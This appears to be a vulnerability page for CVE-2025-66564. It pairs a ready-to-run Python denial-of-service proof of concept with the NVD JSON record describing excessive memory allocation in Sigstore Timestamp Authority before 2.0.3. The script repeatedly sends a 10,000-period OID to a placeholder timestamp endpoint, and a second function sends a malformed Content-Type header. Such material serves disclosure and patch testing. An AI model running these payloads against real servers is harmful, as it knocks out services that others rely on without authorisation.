CVE-2025-66564

import requests import time TARGET_URL = "http://target-server:8080/api/v1/timestamp" def create_malicious_oid(length): # Generate OID with many periods causing O(n) memory allocation return ".".join(["a"] * length) def exploit_dos(): # Create payload with excessively long OID containing many periods malicious_oid = create_malicious_oid(10000) payload = { "oid": malicious_oid, "timestamp": "2025-01-01T00:00:00Z" } print(f"[*] Sending malicious request with OID length: {len(malicious_oid)}") try: response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": # Send multiple requests to amplify DoS effect for i in range(10): print(f"[*] Request {i+1}") exploit_dos() time.sleep(0.1) # Alternative: Malformed Content-Type header PoC def exploit_content_type(): headers = { "Content-Type": "." * 10000 + "application/json" } payload = {"test": "data"} try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"[*] Content-Type DoS - Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")

{"cve": {"id": "CVE-2025-66564", "sourceIdentifier": "[email protected]", "published": "2025-12-04T23:15:47.430", "lastModified": "2026-03-17T20:38:33.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sigstore Timestamp Authority is a service for issuing RFC 3161 timestamps. Prior to 2.0.3, Function api.ParseJSONRequest currently splits (via a call to strings.Split) an optionally-provided OID (which is untrusted data) on periods. Similarly, function api.getContentType splits the Content-Type header (which is also untrusted data) on an application string. As a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed Content-Type header, a call to api.ParseJSONRequest or api.getContentType incurs allocations of O(n) bytes (where n stands for the length of the function's argument). This vulnerability is fixed in 2.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-405"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:sigstore_timestamp_authority:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.3", "matchCriteriaId": "7D8EA727-11A8-4D61-8E22-F87608DA7009"}]}]}], "references": [{"url": "https://github.com/sigstore/timestamp-authority/commit/0cae34e197d685a14904e0bad135b89d13b69421", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sigstore/timestamp-authority/security/advisories/GHSA-4qg8-fj49-pxjh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}